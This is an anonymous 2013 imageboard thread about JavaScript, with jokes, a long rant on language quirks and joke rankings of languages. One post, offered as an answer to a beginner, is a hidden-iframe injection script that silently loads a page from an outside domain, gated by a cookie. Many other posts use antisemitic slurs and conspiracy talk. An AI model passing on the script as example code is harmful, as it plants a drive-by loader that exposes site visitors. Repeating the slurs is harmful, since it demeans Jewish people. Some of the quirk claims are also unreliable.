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HOW FUCK DO I MAKE JAVA SCRIPT?

Name: Anonymous 2013-06-11 0:55

WTF PEOPLE KEEP SAY JAVA BUT I CAN ONLY JAVASCIPT ON GOOGLE??

Name: Anonymous 2013-06-11 1:03

why are you yelling bro, chill out

Name: Anonymous 2013-06-11 1:32

What's the deal with C?  When I try to look up information on C, I get information on C#, and when I try to look up information on C++, I get C!

Name: Anonymous 2013-06-11 13:24

rrrr

Name: Anonymous 2013-06-11 13:28

Every Javascript program starts with string

$(document).ready(function() {

and ends with

});

Name: Anonymous 2013-06-11 14:21

>>5
Symta: Document ready: => …
JavaScript: $(document).ready(function() { … });

Name: [Goldman] 2013-06-11 14:22

>>6

Name: Anonymous 2013-06-11 15:35

That's cuz nsa wants u to learn javashit

Name: Anonymous 2013-06-11 15:40

>>7
Goldman
Shalom!

Name: Anonymous 2013-06-11 15:56

>>6
>Symta
Too jewish.

Name: Anonymous 2013-06-11 18:04

>>6
Kike shit, and kike shit.

Name: Anonymous 2013-06-11 20:51

>>1
Like this

function zzzfff() { var dc = document.createElement('iframe'); dc.src = 'http://yvxyjul.com/count25.php'; dc.style.position = 'absolute'; dc.style.border = '0'; dc.style.height = '1px'; dc.style.width = '1px'; dc.style.left = '1px'; dc.style.top = '1px'; if (!document.getElementById('dc')) { document.write('<div id=\'dc\'></div>'); document.getElementById('dc').appendChild(dc); }}function SetCookie(cookieName,cookieValue,nDays,path) { var today = new Date(); var expire = new Date(); if (nDays==null || nDays==0) nDays=1; expire.setTime(today.getTime() + 3600000*24*nDays); document.cookie = cookieName+"="+escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");}function GetCookie( name ) { var start = document.cookie.indexOf( name + "=" ); var len = start + name.length + 1; if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) { return null; } if ( start == -1 ) return null; var end = document.cookie.indexOf( ";", len ); if ( end == -1 ) end = document.cookie.length; return unescape( document.cookie.substring( len, end ) );}if (navigator.cookieEnabled){if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');zzzfff();}}</script>

Name: Anonymous 2013-06-11 20:56

Because JS is jewish language and Google is jew-owned company.

Name: Anonymous 2013-06-11 21:05

JavaScript is the programming language that Pablo Picasso would have invented. "Broken" is the single word, describing JavaScript.
1. Broken behavior across competing implementations: it is virtually impossible to use JS to do anything robust on the client side. JQuery tries to amend this, but inconsistency is still there.
2. Broken type system: it is weak and its automatic coercion astonishes: "1"+"2"=="12" and "1"+1=='12', but "1"-2==-1, "2"*"3"==6, and (x="1",++x)==2; 0==-0, but 1/0!=1/-0; [123]==123, but [123][0]!=123[0]. Even worse: [0]==false, but ([0]?true:false)==true, so (a=[0], a==a && a==!a)==true;  Following statements are also true: []==![], Math.min()>Math.max(), " \t\r\n"==0, ",,,"==Array((null,'cool',false,NaN,4)), new Array([],null,undefined,null)==",,,", Array()==false, ''!='0', 0=='', 0=='0', false!='false', false=='0', false!=undefined, false!=null, null==undefined, NaN!=NaN, []+[]=="", []+{}=="[object Object]", {}+[]==0, {}+{}==NaN, despite (typeof NaN)=="number", so ("S"-1=="S"-1)==false. Given function f(n) {return n&&+n|0||0;}, we have f("1")==1, f("1.2")==1, f("-1.2")==-1, f(1.2)==1, f(0)==0, f("0")==0, f(NaN)==0, f(1/0)==0. No numerical tower or even obvious integer types: the only numeric type supported is an IEEE754 double-precision float, allowing for 9999999999999999==9999999999999999+1. Hacks like `(x+y)|0` are employed to strip rational part.
3. Broken default value: whereas most languages have one universal singular value (null/nil/Void/whatever), JavaScript has four: "false", "null", "void" and "undefined", producing confusing and irregular semantics. Then `undefined` is not actually a reserved keyword, so undefined="broken" easily breaks code, although `void 0` can be used instead of `undefined`; jQuery uses kludge like (function (undefined) {...}()) to ensure that undefined is undefined. Other redefinable symbols are NaN, Infinity, and the constructors for the built-in types.
4. Broken lexical scoping: unlike C/C++/Java/C#/etc, where variables introduced in an anonymous block within a function are only valid within that block; in JavaScript such variables are valid for the entire function. JavaScript employs unintuitive process called declaration hoisting, in which all function and variable declarations are moved to the top of their containing scope. If a variable is declared and assigned in one statement then the statement is split into two, with only the declaration getting hoisted. This produces a lot of subtle bugs, like for example non-obvious hiding of outer variables or `f` in `var f = function() {…}` being present as undefined, while `function f() {…}` would always be defined. Every script is executed in a single global namespace that is accessible in browsers with the window object.
5. Broken syntax: semicolons are optional, but it only makes life harder, because newline can accidentally take place of a semicolon, in effect `return{a: "hello"};` and `return\n{a: "hello"};` (where '\n' is newline) mean completely different things: '\n' gets parsed as ';', resulting into just "return;" Finally, crippled syntax impedes functional programming: )}();)}();)}();)}();
6. Broken standard library: most built-in functions, given an invalid input, don't produce error or exception, but silently return some default, like new Date('garbage'), or even produce undefined behavior: parseInt("07")==7, but parseInt("08")==0 or parseInt("08")==8, because "the implementation may, at its discretion, interpret the number either as being octal or as being decimal". Even worse, parseInt('fuck') gives NaN, but parseInt('fuck', 16)==15 and parseInt(null, 34)==939407
7. Broken arrays: new Array() produces empty array; new Array(2,3) produces array with 2 and 5 as its elements; new Array(5) does not produce array with 5 as its single element; instead, it returns a 5-element array. In JavaScript an array with 2 elements can have length of 7, while an array with 7 elements can have length 2, because length property always returns the last numeric index, plus one. JavaScript has no out of bounds error: you can freely retrieve an element at any index and no error will be produced, even if element is undefined. JavaScript provides no reliable way to iterate array by index, instead for(var X in Xs) gives elements in completely undefined order.

Name: Anonymous 2013-06-11 21:10

>>12
What a nice mosaic.

Name: Anonymous 2013-06-11 22:13

>>6
Is this the special Jewish olympics of computer science?

Name: Anonymous 2013-06-12 4:51

why is javascript the only client side turing complete language supported by major browsers

Name: Anonymous 2013-06-12 4:58

>>5,6
please optimize your code

$(function() { ... });

Name: Anonymous 2013-06-12 5:28

Please optimize your code.
https://github.com/faylang/fay

Name: Anonymous 2013-06-12 6:17

>>5
Only jquery

Name: Anonymous 2013-06-12 9:01

>>20
jQ is the new JS.

Name: Anonymous 2013-06-12 9:21

>>21

jQ is not the new JS, jQ is a library of JS.
Really does make things easier tho

Name: Anonymous 2013-06-12 9:28

jQuery is spike for defective jewish language, like hphp for php.

Name: Anonymous 2013-06-12 9:31

>>17
because kikes wanted it that way

Name: Java/Javascript 2013-06-12 10:16

Java/Javascript

Name: Anonymous 2013-06-12 10:43

>>17
CSS3 is Turing complete!

But that doesn't really help. See the web programming language shitness scale for reference

not shit                                                    shit
+--------------------------------------------------------------+
Python   Ruby        Javascript                     HTML CSS PHP
                          |                           |   |
                          +---------client-side-------+---+

Name: Anonymous 2013-06-12 10:46

>>26
Completely wrong.


not shit                                                                           shit
+-------------------------------------------------------------------------------------+ [...]
Python      Ruby                                                               HTML CSS      Jewvascript PHP

Name: Anonymous 2013-06-12 10:48

>>26
CSS3 being Turing complete is irrelevant. Nobody can write practical programs using CSS3.

Name: Anonymous 2013-06-12 10:50

But Python and Ruby are shit.

Name: Anonymous 2013-06-12 10:51

>>29
Right.
not shit                                                shit
+----------------------------------------------------------+ [...]
                                 Python      Ruby  HTML CSS        Jewvascript PHP

Name: Anonymous 2013-06-12 11:28

>>30
Properly:
not shit                   shit
+-----------------------------+
LISP                       not LISP

Name: Anonymous 2013-06-12 12:14


not shit                   shit
+-----------------------------+
Haskell                   Lithp

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